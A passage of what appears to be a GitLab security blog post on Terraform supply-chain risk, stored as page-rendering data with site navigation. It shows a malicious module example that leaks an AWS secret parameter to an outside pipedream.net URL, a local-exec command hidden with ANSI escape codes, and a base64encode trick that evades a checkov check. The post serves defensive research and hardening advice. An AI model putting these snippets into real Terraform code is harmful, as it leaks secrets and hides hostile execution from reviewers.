init\n",[169,1282,1283,1285],{"class":171,"line":222},[169,1284,547],{"class":208},[169,1286,507],{"class":212},[169,1288,1289,1291,1293,1295],{"class":171,"line":233},[169,1290,512],{"class":208},[169,1292,515],{"class":212},[169,1294,518],{"class":212},[169,1296,521],{"class":212},[169,1298,1299,1301,1303,1305],{"class":171,"line":244},[169,1300,526],{"class":208},[169,1302,529],{"class":212},[169,1304,532],{"class":212},[169,1306,535],{"class":212},[169,1308,1309],{"class":171,"line":252},[169,1310,1311],{"class":208},"╷\n",[169,1313,1314,1317,1320,1323,1326],{"class":171,"line":269},[169,1315,1316],{"class":208},"│",[169,1318,1319],{"class":212}," Error:",[169,1321,1322],{"class":212}," Invalid",[169,1324,1325],{"class":212}," block",[169,1327,1328],{"class":212}," definition\n",[169,1330,1331,1333,1336,1339,1342,1345,1348,1351,1353,1356,1359,1362,1364,1367,1370,1372,1375,1377,1380,1383,1386],{"class":171,"line":284},[169,1332,1316],{"class":208},[169,1334,1335],{"class":212}," │",[169,1337,1338],{"class":212}," On",[169,1340,1341],{"class":212}," .terraform/modules/immutable_module/malicious.tf",[169,1343,1344],{"class":212}," line",[169,1346,1347],{"class":212}," 1:",[169,1349,1350],{"class":212}," A",[169,1352,1325],{"class":212},[169,1354,1355],{"class":212}," definition",[169,1357,1358],{"class":212}," must",[169,1360,1361],{"class":212}," have",[169,1363,1325],{"class":212},[169,1365,1366],{"class":212}," content",[169,1368,1369],{"class":212}," delimited",[169,1371,738],{"class":212},[169,1373,1374],{"class":212}," \"{\"",[169,1376,963],{"class":212},[169,1378,1379],{"class":212}," \"}\",",[169,1381,1382],{"class":212}," starting",[169,1384,1385],{"class":212}," on",[169,1387,1388],{"class":212}," the\n",[169,1390,1391,1393,1395,1397,1400,1402,1404],{"class":171,"line":544},[169,1392,1316],{"class":208},[169,1394,732],{"class":212},[169,1396,1344],{"class":212},[169,1398,1399],{"class":212}," as",[169,1401,550],{"class":212},[169,1403,1325],{"class":212},[169,1405,1406],{"class":212}," header.\n",[169,1408,1409],{"class":171,"line":556},[169,1410,1411],{"class":208},"╵\n",[169,1413,1414],{"class":171,"line":561},[169,1415,541],{"emptyLinePlaceholder":540},[169,1417,1418],{"class":171,"line":572},[169,1419,1311],{"class":208},[169,1421,1422,1424,1426,1428,1430],{"class":171,"line":592},[169,1423,1316],{"class":208},[169,1425,1319],{"class":212},[169,1427,1322],{"class":212},[169,1429,1325],{"class":212},[169,1431,1328],{"class":212},[169,1433,1434,1436,1438,1440,1442,1444,1446,1448,1450,1452,1454,1456,1458,1460,1462,1464,1466,1468,1470,1472,1474],{"class":171,"line":606},[169,1435,1316],{"class":208},[169,1437,1335],{"class":212},[169,1439,1338],{"class":212},[169,1441,1341],{"class":212},[169,1443,1344],{"class":212},[169,1445,1347],{"class":212},[169,1447,1350],{"class":212},[169,1449,1325],{"class":212},[169,1451,1355],{"class":212},[169,1453,1358],{"class":212},[169,1455,1361],{"class":212},[169,1457,1325],{"class":212},[169,1459,1366],{"class":212},[169,1461,1369],{"class":212},[169,1463,738],{"class":212},[169,1465,1374],{"class":212},[169,1467,963],{"class":212},[169,1469,1379],{"class":212},[169,1471,1382],{"class":212},[169,1473,1385],{"class":212},[169,1475,1388],{"class":212},[169,1477,1478,1480,1482,1484,1486,1488,1490],{"class":171,"line":631},[169,1479,1316],{"class":208},[169,1481,732],{"class":212},[169,1483,1344],{"class":212},[169,1485,1399],{"class":212},[169,1487,550],{"class":212},[169,1489,1325],{"class":212},[169,1491,1406],{"class":212},[169,1493,1494],{"class":171,"line":636},[169,1495,1411],{"class":208},[17,1497,1498,1501],{},[106,1499,1500],{},"Lesson learned here","\nSeemingly immutable git refs really aren't that immutable after all. This means we cannot trust modules hosted in arbitrary locations and simply rely on their git ref to be pinned. Instead, we must have control over the hosted location such that manipulation of the repository can be prevented.",[130,1503,1505],{"id":1504},"impact-of-malicious-modules","Impact of malicious modules",[17,1507,1508],{},"What could a malicious module do?",[17,1510,1511,1512,1519],{},"Reading the documentation, there are some useful primitives already built in. The most \"powerful\" primitive, if we want to mess with the Terraform run itself, might be ",[24,1513,1516],{"href":1514,"rel":1515},"https://www.terraform.io/language/resources/provisioners/local-exec",[],[81,1517,1518],{},"local-exec"," which will let us run local commands on the machine running the Terraform process.",[17,1521,1522],{},"Terraform, however, will be verbose about this and tell the user what it just executed:",[17,1524,1525,1530],{},[1526,1527],"img",{"alt":1528,"src":1529},"file name","https://res.cloudinary.com/about-gitlab-com/image/upload/v1782399211/blog/Content%20Images/terraform-sc-series/local-exec.png","\nTerraform local-exec",[17,1532,1533,1534,1539],{},"We can cheat here a little as most terminals support so-called ",[24,1535,1538],{"href":1536,"rel":1537},"https://en.wikipedia.org/wiki/ANSI_escape_code",[],"ANSI escape codes"," which allow one to meddle to a certain extent with the terminal output.",[17,1541,1542,1543,1546,1547,1549],{},"The following variant of our ",[81,1544,1545],{},"main.tf"," file in the screenshot above will disguise the output traces of ",[81,1548,1518],{}," in the terminal:",[160,1551,1553],{"className":162,"code":1552,"language":164,"meta":165,"style":165},"resource \"null_resource\" \"lol\" {    provisioner \"local-exec\" {  command = \"id > haxx ;echo -e '\\\\033[0K \\\\033[1K \\\\033[1A \\\\033[0K \\\\033[1K \\\\033[2A'\"  }  }\n",[81,1554,1555],{"__ignoreMap":165},[169,1556,1557,1560,1563,1566,1569,1572,1575,1578,1580,1583,1586,1589,1591,1594,1596,1599,1601,1603,1605,1607,1609,1612],{"class":171,"line":172},[169,1558,1559],{"class":208},"resource",[169,1561,1562],{"class":301}," \"null_resource\"",[169,1564,1565],{"class":301}," \"lol\"",[169,1567,1568],{"class":411}," {    ",[169,1570,1571],{"class":208},"provisioner",[169,1573,1574],{"class":301}," \"local-exec\"",[169,1576,1577],{"class":411}," {  command",[169,1579,431],{"class":262},[169,1581,1582],{"class":212}," \"id > haxx ;echo -e '",[169,1584,1585],{"class":301},"\\\\",[169,1587,1588],{"class":212},"033[0K ",[169,1590,1585],{"class":301},[169,1592,1593],{"class":212},"033[1K ",[169,1595,1585],{"class":301},[169,1597,1598],{"class":212},"033[1A ",[169,1600,1585],{"class":301},[169,1602,1588],{"class":212},[169,1604,1585],{"class":301},[169,1606,1593],{"class":212},[169,1608,1585],{"class":301},[169,1610,1611],{"class":212},"033[2A'\"",[169,1613,1614],{"class":411},"  }  }\n",[17,1616,1617,1618,1620],{},"The screenshot below shows that our traces of using ",[81,1619,1518],{}," are no longer visible in the shell output:",[17,1622,1623,1626],{},[1526,1624],{"alt":1528,"src":1625},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1782399210/blog/Content%20Images/terraform-sc-series/local-exec-ansi.png","\nLocal exec is no longer visible in the shell output",[17,1628,1629,1630,99],{},"Another attack vector was outlined ",[24,1631,1633],{"href":55,"rel":1632},[],"in xssfox's post",[160,1635,1637],{"className":162,"code":1636,"language":164,"meta":165,"style":165},"terraform {\n  required_providers {\n    aws = {\n      source  = \"hashicorp/aws\"\n    }\n    http = {}\n  }\n}\n\nresource \"aws_ssm_parameter\" \"param\" {\n  name  = var.parameter_name\n  type  = \"SecureString\"\n  value = random_password.password.result\n}\n\nresource \"random_password\" \"password\" {\n  length           = 16\n  special          = true\n  override_special = \"_%@\"\n}\n\n## !!! Our evil way to leak data !!!\ndata \"http\" \"leak\" {\n    url = \"https://enp840cyx28ip.x.pipedream.net/?id=${aws_ssm_parameter.param.name}&content=${aws_ssm_parameter.param.value}\"\n}\n",[81,1638,1639,1645,1652,1661,1672,1677,1687,1692,1696,1700,1712,1727,1737,1757,1761,1765,1777,1788,1799,1809,1813,1817,1822,1835,1885],{"__ignoreMap":165},[169,1640,1641,1643],{"class":171,"line":172},[169,1642,1277],{"class":208},[169,1644,412],{"class":411},[169,1646,1647,1650],{"class":171,"line":222},[169,1648,1649],{"class":208},"  required_providers",[169,1651,412],{"class":411},[169,1653,1654,1657,1659],{"class":171,"line":233},[169,1655,1656],{"class":411},"    aws",[169,1658,431],{"class":262},[169,1660,412],{"class":411},[169,1662,1663,1666,1669],{"class":171,"line":244},[169,1664,1665],{"class":411},"      source  ",[169,1667,1668],{"class":262},"=",[169,1670,1671],{"class":212}," \"hashicorp/aws\"\n",[169,1673,1674],{"class":171,"line":252},[169,1675,1676],{"class":411},"    }\n",[169,1678,1679,1682,1684],{"class":171,"line":269},[169,1680,1681],{"class":411},"    http",[169,1683,431],{"class":262},[169,1685,1686],{"class":411}," {}\n",[169,1688,1689],{"class":171,"line":284},[169,1690,1691],{"class":411},"  }\n",[169,1693,1694],{"class":171,"line":544},[169,1695,439],{"class":411},[169,1697,1698],{"class":171,"line":556},[169,1699,541],{"emptyLinePlaceholder":540},[169,1701,1702,1704,1707,1710],{"class":171,"line":561},[169,1703,1559],{"class":208},[169,1705,1706],{"class":301}," \"aws_ssm_parameter\"",[169,1708,1709],{"class":301}," \"param\"",[169,1711,412],{"class":411},[169,1713,1714,1717,1719,1722,1724],{"class":171,"line":572},[169,1715,1716],{"class":411},"  name",[169,1718,420],{"class":262},[169,1720,1721],{"class":411}," var",[169,1723,90],{"class":262},[169,1725,1726],{"class":411},"parameter_name\n",[169,1728,1729,1732,1734],{"class":171,"line":592},[169,1730,1731],{"class":411},"  type",[169,1733,420],{"class":262},[169,1735,1736],{"class":212}," \"SecureString\"\n",[169,1738,1739,1742,1744,1747,1749,1752,1754],{"class":171,"line":606},[169,1740,1741],{"class":411},"  value",[169,1743,431],{"class":262},[169,1745,1746],{"class":411}," random_password",[169,1748,90],{"class":262},[169,1750,1751],{"class":411},"password",[169,1753,90],{"class":262},[169,1755,1756],{"class":411},"result\n",[169,1758,1759],{"class":171,"line":631},[169,1760,439],{"class":411},[169,1762,1763],{"class":171,"line":636},[169,1764,541],{"emptyLinePlaceholder":540},[169,1766,1767,1769,1772,1775],{"class":171,"line":671},[169,1768,1559],{"class":208},[169,1770,1771],{"class":301}," \"random_password\"",[169,1773,1774],{"class":301}," \"password\"",[169,1776,412],{"class":411},[169,1778,1779,1782,1785],{"class":171,"line":707},[169,1780,1781],{"class":411},"  length",[169,1783,1784],{"class":262},"           =",[169,1786,1787],{"class":301}," 16\n",[169,1789,1790,1793,1796],{"class":171,"line":747},[169,1791,1792],{"class":411},"  special",[169,1794,1795],{"class":262},"          =",[169,1797,1798],{"class":301}," true\n",[169,1800,1801,1804,1806],{"class":171,"line":766},[169,1802,1803],{"class":411},"  override_special",[169,1805,431],{"class":262},[169,1807,1808],{"class":212}," \"_%@\"\n",[169,1810,1811],{"class":171,"line":771},[169,1812,439],{"class":411},[169,1814,1815],{"class":171,"line":787},[169,1816,541],{"emptyLinePlaceholder":540},[169,1818,1819],{"class":171,"line":792},[169,1820,1821],{"class":175},"## !!! Our evil way to leak data !!!\n",[169,1823,1824,1827,1830,1833],{"class":171,"line":830},[169,1825,1826],{"class":208},"data",[169,1828,1829],{"class":301}," \"http\"",[169,1831,1832],{"class":301}," \"leak\"",[169,1834,412],{"class":411},[169,1836,1837,1840,1842,1845,1848,1851,1853,1856,1858,1861,1864,1867,1869,1871,1873,1875,1877,1880,1882],{"class":171,"line":862},[169,1838,1839],{"class":411},"    url",[169,1841,431],{"class":262},[169,1843,1844],{"class":212}," \"https://enp840cyx28ip.x.pipedream.net/?id=",[169,1846,1847],{"class":262},"${",[169,1849,1850],{"class":411},"aws_ssm_parameter",[169,1852,90],{"class":262},[169,1854,1855],{"class":411},"param",[169,1857,90],{"class":262},[169,1859,1860],{"class":411},"name",[169,1862,1863],{"class":262},"}",[169,1865,1866],{"class":212},"&content=",[169,1868,1847],{"class":262},[169,1870,1850],{"class":411},[169,1872,90],{"class":262},[169,1874,1855],{"class":411},[169,1876,90],{"class":262},[169,1878,1879],{"class":411},"value",[169,1881,1863],{"class":262},[169,1883,1884],{"class":212},"\"\n",[169,1886,1887],{"class":171,"line":873},[169,1888,439],{"class":411},[17,1890,1891,1892,1894,1895,1898,1899,1905,1906,1908],{},"Here, the to-be-kept-secret parameter ",[81,1893,1850],{}," is leaked via the ",[81,1896,1897],{},"http"," data source. We can detect such a leak with ",[24,1900,1903],{"href":1901,"rel":1902},"https://www.checkov.io/",[],[81,1904,83],{},". Running ",[81,1907,83],{}," to check the above terraform code will warn us with a failed check:",[17,1910,1911,1914],{},[1526,1912],{"alt":1528,"src":1913},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1782399210/blog/Content%20Images/terraform-sc-series/checkov1.png","\nFailed check",[17,1916,1917,1918,99],{},"This check can be bypassed quite easily by simply wrapping the leaked parameters in ",[81,1919,1920],{},"base64encode",[17,1922,1923,1926],{},[1526,1924],{"alt":1528,"src":1925},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1782399210/blog/Content%20Images/terraform-sc-series/checkov2.png","\nBypassing the failed check",[17,1928,1929],{},[106,1930,1500],{},[17,1932,1933],{},"The main takeaway is that malicious modules can be a quite powerful attack primitive and there are many different ways to compromise a Terraform run with a malicious module, such that even automated checks might fail.",[130,1935,1937],{"id":1936},"closing-thoughts-and-whats-next","Closing thoughts and what's next",[17,1939,1940],{},"This first blog covered the basics of malicious modules and providers in Terraform. As a bottom line I'd like to emphasize the fragility of running Terraform in cases where third-party modules and providers are being used. To harden your Terraform process against malicious modules you should be in control of the included module's and provider's content at all times. For providers, you can rely on the signatures as long as they've not been messed with. For modules, it is recommended to host them in a controlled environment.",[17,1942,1943],{},"Our next blog in this series will cover some vulnerabilities in Terraform itself. In our third and final post we'll take a closer look at CI/CD related aspects of Terraform. Until next time!",[17,1945,1946,1947,1952,1953,90],{},"Cover image by ",[24,1948,1951],{"href":1949,"rel":1950},"https://www.pexels.com/@mateusz-dach-99805/",[],"Mateusz Dach"," on ",[24,1954,1957],{"href":1955,"rel":1956},"https://www.pexels.com/photo/brown-wooden-dominoes-353641/",[],"Pexels",[1959,1960,1961],"style",{},"html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .s7eDp, html code.shiki .s7eDp{--shiki-default:#6F42C1}html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html pre.shiki code .sD7c4, html code.shiki .sD7c4{--shiki-default:#D73A49}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}",{"title":165,"searchDepth":222,"depth":222,"links":1963},[1964,1965,1966,1967,1970],{"id":14,"depth":222,"text":15},{"id":31,"depth":222,"text":32},{"id":38,"depth":222,"text":39},{"id":114,"depth":222,"text":115,"children":1968},[1969],{"id":132,"depth":233,"text":133},{"id":376,"depth":222,"text":377,"children":1971},[1972,1973],{"id":1504,"depth":233,"text":1505},{"id":1936,"depth":233,"text":1937},"security","2022-06-01","We examine the supply chain aspects of Terraform, starting with a closer look at malicious Terraform modules and providers and how you can better secure them.","md",null,false,"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682329/Blog/Hero%20Images/pexels-mateusz-dach-353641.jpg",{},"/en-us/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers",{"title":1984,"description":1976,"ogTitle":1984,"ogDescription":1976,"noIndex":1979,"ogImage":1980,"ogUrl":1985,"ogSiteName":1986,"ogType":1987,"canonicalUrls":1985},"Terraform in the software supply chain: Modules & providers","https://about.gitlab.com/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers","https://about.gitlab.com","article","terraform-as-part-of-software-supply-chain-part1-modules-and-providers","en-us/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers",[1974],"BlogPost","xO2rWBU8x7AvX1345ke1RqAyd18gaoSVRQmzKUB5q-I",{"logo":1994,"freeTrial":1999,"sales":2004,"login":2009,"items":2014,"search":2341,"minimal":2372,"duo":2391,"switchNav":2400,"pricingDeployment":2411},{"config":1995},{"href":1996,"dataGaName":1997,"dataGaLocation":1998},"/","gitlab logo","header",{"text":2000,"config":2001},"Get free trial",{"href":2002,"dataGaName":2003,"dataGaLocation":1998},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":2005,"config":2006},"Request a demo",{"href":2007,"dataGaName":2008,"dataGaLocation":1998},"/sales/?contact-topic=request-demo","sales",{"text":2010,"config":2011},"Sign in",{"href":2012,"dataGaName":2013,"dataGaLocation":1998},"https://gitlab.com/users/sign_in/","sign in",[2015,2044,2144,2149,2263,2319],{"text":2016,"config":2017,"menu":2019},"Platform",{"dataNavLevelOne":2018},"platform",{"type":2020,"columns":2021},"cards",[2022,2028,2036],{"title":2016,"description":2023,"link":2024},"The intelligent orchestration platform for DevSecOps",{"text":2025,"config":2026},"Explore our Platform",{"href":2027,"dataGaName":2018,"dataGaLocation":1998},"/platform/",{"title":2029,"description":2030,"link":2031},"GitLab Duo Agent Platform","Agentic AI for the entire software lifecycle",{"text":2032,"config":2033},"Meet GitLab Duo",{"href":2034,"dataGaName":2035,"dataGaLocation":1998},"/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":2037,"description":2038,"link":2039},"Why GitLab","See the top reasons enterprises choose GitLab",{"text":2040,"config":2041},"Learn more",{"href":2042,"dataGaName":2043,"dataGaLocation":1998},"/why-gitlab/","why gitlab",{"text":2045,"left":540,"config":2046,"menu":2048},"Product",{"dataNavLevelOne":2047},"solutions",{"type":2049,"link":2050,"columns":2054,"feature":2123},"lists",{"text":2051,"config":2052},"View all Solutions",{"href":2053,"dataGaName":2047,"dataGaLocation":1998},"/solutions/",[2055,2079,2102],{"title":2056,"description":2057,"link":2058,"items":2063},"Automation","CI/CD and automation to accelerate deployment",{"config":2059},{"icon":2060,"href":2061,"dataGaName":2062,"dataGaLocation":1998},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[2064,2068,2071,2075],{"text":2065,"config":2066},"CI/CD",{"href":2067,"dataGaLocation":1998,"dataGaName":2065},"/solutions/continuous-integration/",{"text":2029,"config":2069},{"href":2034,"dataGaLocation":1998,"dataGaName":2070},"gitlab duo agent platform - product menu",{"text":2072,"config":2073},"Source Code Management",{"href":2074,"dataGaLocation":1998,"dataGaName":2072},"/solutions/source-code-management/",{"text":2076,"config":2077},"Automated Software Delivery",{"href":2061,"dataGaLocation":1998,"dataGaName":2078},"Automated software delivery",{"title":2080,"description":2081,"link":2082,"items":2087},"Security","Deliver code faster without compromising security",{"config":2083},{"href":2084,"dataGaName":2085,"dataGaLocation":1998,"icon":2086},"/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[2088,2092,2097],{"text":2089,"config":2090},"Application Security Testing",{"href":2084,"dataGaName":2091,"dataGaLocation":1998},"Application security testing",{"text":2093,"config":2094},"Software Supply Chain Security",{"href":2095,"dataGaLocation":1998,"dataGaName":2096},"/solutions/supply-chain/","Software supply chain security",{"text":2098,"config":2099},"Software Compliance",{"href":2100,"dataGaName":2101,"dataGaLocation":1998},"/solutions/software-compliance/","software compliance",{"title":2103,"link":2104,"items":2109},"Measurement",{"config":2105},{"icon":2106,"href":2107,"dataGaName":2108,"dataGaLocation":1998},"DigitalTransformation","/solutions/visibility-measurement/","visibility and measurement",[2110,2114,2118],{"text":2111,"config":2112},"Visibility & Measurement",{"href":2107,"dataGaLocation":1998,"dataGaName":2113},"Visibility and Measurement",{"text":2115,"config":2116},"Value Stream Management",{"href":2117,"dataGaLocation":1998,"dataGaName":2115},"/solutions/value-stream-management/",{"text":2119,"config":2120},"Analytics & Insights",{"href":2121,"dataGaLocation":1998,"dataGaName":2122},"/solutions/analytics-and-insights/","Analytics and insights",{"title":2124,"type":2049,"items":2125},"GitLab for",[2126,2132,2138],{"text":2127,"config":2128},"Enterprise",{"icon":2129,"href":2130,"dataGaLocation":1998,"dataGaName":2131},"Building","/enterprise/","enterprise",{"text":2133,"config":2134},"Small Business",{"icon":2135,"href":2136,"dataGaLocation":1998,"dataGaName":2137},"Work","/small-business/","small business",{"text":2139,"config":2140},"Public Sector",{"icon":2141,"href":2142,"dataGaLocation":1998,"dataGaName":2143},"Organization","/solutions/public-sector/","public sector",{"text":2145,"config":2146},"Pricing",{"href":2147,"dataGaName":2148,"dataGaLocation":1998,"dataNavLevelOne":2148},"/pricing/","pricing",{"text":2150,"config":2151,"menu":2153},"Resources",{"dataNavLevelOne":2152},"resources",{"type":2049,"link":2154,"columns":2158,"feature":2252},{"text":2155,"config":2156},"View all resources",{"href":2157,"dataGaName":2152,"dataGaLocation":1998},"/resources/",[2159,2192,2219],{"title":2160,"items":2161},"Getting started",[2162,2167,2172,2177,2182,2187],{"text":2163,"config":2164},"Install",{"href":2165,"dataGaName":2166,"dataGaLocation":1998},"/install/","install",{"text":2168,"config":2169},"Quick start guides",{"href":2170,"dataGaName":2171,"dataGaLocation":1998},"/get-started/","quick setup checklists",{"text":2173,"config":2174},"Learn",{"href":2175,"dataGaLocation":1998,"dataGaName":2176},"https://university.gitlab.com/","learn",{"text":2178,"config":2179},"Product documentation",{"href":2180,"dataGaName":2181,"dataGaLocation":1998},"https://docs.gitlab.com/","product documentation",{"text":2183,"config":2184},"Best practice videos",{"href":2185,"dataGaName":2186,"dataGaLocation":1998},"/getting-started-videos/","best practice videos",{"text":2188,"config":2189},"Integrations",{"href":2190,"dataGaName":2191,"dataGaLocation":1998},"/integrations/","integrations",{"title":2193,"items":2194},"Discover",[2195,2200,2205,2210,2214],{"text":2196,"config":2197},"Customer success stories",{"href":2198,"dataGaName":2199,"dataGaLocation":1998},"/customers/","customer success stories",{"text":2201,"config":2202},"Blog",{"href":2203,"dataGaName":2204,"dataGaLocation":1998},"/blog/","blog",{"text":2206,"config":2207},"Demo Hub",{"href":2208,"dataGaName":2209,"dataGaLocation":1998},"/demo-hub/","demo hub",{"text":2211,"config":2212},"The Source",{"href":2213,"dataGaName":2204,"dataGaLocation":1998},"/the-source/",{"text":2215,"config":2216},"Remote",{"href":2217,"dataGaName":2218,"dataGaLocation":1998},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":2220,"items":2221},"Connect",[2222,2227,2232,2237,2242,2247],{"text":2223,"config":2224},"GitLab Services",{"href":2225,"dataGaName":2226,"dataGaLocation":1998},"/services/","services",{"text":2228,"config":2229},"Contribute",{"href":2230,"dataGaName":2231,"dataGaLocation":1998},"https://contributors.gitlab.com","contribute",{"text":2233,"config":2234},"Community",{"href":2235,"dataGaName":2236,"dataGaLocation":1998},"/community/","community",{"text":2238,"config":2239},"Forum",{"href":2240,"dataGaName":2241,"dataGaLocation":1998},"https://forum.gitlab.com/","forum",{"text":2243,"config":2244},"Events",{"href":2245,"dataGaName":2246,"dataGaLocation":1998},"/events/","events",{"text":2248,"config":2249},"Partners",{"href":2250,"dataGaName":2251,"dataGaLocation":1998},"/partners/","partners",{"config":2253,"title":2256,"text":2257,"link":2258},{"background":2254,"textColor":2255},"url('https://res.cloudinary.com/about-gitlab-com/image/upload/v1777322348/qpq8yrgn8knii57omj0c.png')","#000","What’s new in GitLab","Stay updated with our latest features and improvements.",{"text":2259,"config":2260},"Read the latest",{"href":2261,"dataGaName":2262,"dataGaLocation":1998},"/whats-new/","whats new",{"text":2264,"config":2265,"menu":2267},"Company",{"dataNavLevelOne":2266},"company",{"type":2049,"columns":2268},[2269],{"items":2270},[2271,2276,2282,2284,2289,2294,2299,2304,2309,2314],{"text":2272,"config":2273},"About",{"href":2274,"dataGaName":2275,"dataGaLocation":1998},"/company/","about",{"text":2277,"config":2278,"footerGa":2281},"Jobs",{"href":2279,"dataGaName":2280,"dataGaLocation":1998},"/jobs/","jobs",{"dataGaName":2280},{"text":2243,"config":2283},{"href":2245,"dataGaName":2246,"dataGaLocation":1998},{"text":2285,"config":2286},"Leadership",{"href":2287,"dataGaName":2288,"dataGaLocation":1998},"/company/team/e-group/","leadership",{"text":2290,"config":2291},"Handbook",{"href":2292,"dataGaName":2293,"dataGaLocation":1998},"https://handbook.gitlab.com/","handbook",{"text":2295,"config":2296},"Investor relations",{"href":2297,"dataGaName":2298,"dataGaLocation":1998},"https://ir.gitlab.com/overview/default.aspx","investor relations",{"text":2300,"config":2301},"Trust Center",{"href":2302,"dataGaName":2303,"dataGaLocation":1998},"/security/","trust center",{"text":2305,"config":2306},"AI Transparency Center",{"href":2307,"dataGaName":2308,"dataGaLocation":1998},"/ai-transparency-center/","ai transparency center",{"text":2310,"config":2311},"Newsletter",{"href":2312,"dataGaName":2313,"dataGaLocation":1998},"/company/contact/#contact-forms","newsletter",{"text":2315,"config":2316},"Press",{"href":2317,"dataGaName":2318,"dataGaLocation":1998},"/press/","press",{"text":2320,"config":2321,"menu":2322},"Contact us",{"dataNavLevelOne":2266},{"type":2049,"columns":2323},[2324],{"items":2325},[2326,2331,2336],{"text":2327,"config":2328},"Talk to sales",{"href":2329,"dataGaName":2330,"dataGaLocation":1998},"/sales/","talk to sales",{"text":2332,"config":2333},"Support portal",{"href":2334,"dataGaName":2335,"dataGaLocation":1998},"https://support.gitlab.com/hc/en-us","support portal",{"text":2337,"config":2338},"Customer portal",{"href":2339,"dataGaName":2340,"dataGaLocation":1998},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":2342,"login":2343,"suggestions":2350},"Close",{"text":2344,"link":2345},"To search repositories and projects, login to",{"text":2346,"config":2347},"gitlab.com",{"href":2012,"dataGaName":2348,"dataGaLocation":2349},"search login","search",{"text":2351,"default":2352},"Suggestions",[2353,2355,2359,2361,2365,2369],{"text":2029,"config":2354},{"href":2034,"dataGaName":2029,"dataGaLocation":2349},{"text":2356,"config":2357},"Code Suggestions (AI)",{"href":2358,"dataGaName":2356,"dataGaLocation":2349},"/solutions/code-suggestions/",{"text":2065,"config":2360},{"href":2067,"dataGaName":2065,"dataGaLocation":2349},{"text":2362,"config":2363},"GitLab on AWS",{"href":2364,"dataGaName":2362,"dataGaLocation":2349},"/partners/technology-partners/aws/",{"text":2366,"config":2367},"GitLab on Google Cloud",{"href":2368,"dataGaName":2366,"dataGaLocation":2349},"/partners/technology-partners/google-cloud-platform/",{"text":2370,"config":2371},"Why GitLab?",{"href":2042,"dataGaName":2370,"dataGaLocation":2349},{"freeTrial":2373,"mobileIcon":2378,"desktopIcon":2383,"secondaryButton":2386},{"text":2374,"config":2375},"Start free trial",{"href":2376,"dataGaName":2003,"dataGaLocation":2377},"https://gitlab.com/-/trials/new/","nav",{"altText":2379,"config":2380},"Gitlab Icon",{"src":2381,"dataGaName":2382,"dataGaLocation":2377},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":2379,"config":2384},{"src":2385,"dataGaName":2382,"dataGaLocation":2377},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":2387,"config":2388},"Get Started",{"href":2389,"dataGaName":2390,"dataGaLocation":2377},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/get-started/","get started",{"freeTrial":2392,"mobileIcon":2396,"desktopIcon":2398},{"text":2393,"config":2394},"Learn more about GitLab Duo",{"href":2034,"dataGaName":2395,"dataGaLocation":2377},"gitlab duo",{"altText":2379,"config":2397},{"src":2381,"dataGaName":2382,"dataGaLocation":2377},{"altText":2379,"config":2399},{"src":2385,"dataGaName":2382,"dataGaLocation":2377},{"button":2401,"mobileIcon":2406,"desktopIcon":2408},{"text":2402,"config":2403},"/switch",{"href":2404,"dataGaName":2405,"dataGaLocation":2377},"#contact","switch",{"altText":2379,"config":2407},{"src":2381,"dataGaName":2382,"dataGaLocation":2377},{"altText":2379,"config":2409},{"src":2410,"dataGaName":2382,"dataGaLocation":2377},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":2412,"mobileIcon":2417,"desktopIcon":2419},{"text":2413,"config":2414},"Back to pricing",{"href":2147,"dataGaName":2415,"dataGaLocation":2377,"icon":2416},"back to pricing","GoBack",{"altText":2379,"config":2418},{"src":2381,"dataGaName":2382,"dataGaLocation":2377},{"altText":2379,"config":2420},{"src":2385,"dataGaName":2382,"dataGaLocation":2377},{"title":2422,"titleMobile":2423,"button":2424,"config":2429},"Duo Agent Platform delivers 400% ROI, per new Forrester Consulting study.","400% ROI: Forrester TEI for GitLab Duo",{"text":2040,"config":2425},{"href":2426,"dataGaName":2427,"dataGaLocation":2428},"https://about.gitlab.com/blog/gitlab-duo-agent-platform-delivers-400-percent-roi/","forrester-tei-dap-banner","global-banner",{"layout":2430,"disabled":1979},"release",{"data":2432},{"text":2433,"source":2434,"edit":2440,"contribute":2445,"config":2450,"items":2455,"minimal":2665},"Git is a trademark of Software Freedom Conservancy and our use of 'GitLab' is under license",{"text":2435,"config":2436},"View page source",{"href":2437,"dataGaName":2438,"dataGaLocation":2439},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":2441,"config":2442},"Edit this page",{"href":2443,"dataGaName":2444,"dataGaLocation":2439},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":2446,"config":2447},"Please contribute",{"href":2448,"dataGaName":2449,"dataGaLocation":2439},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please 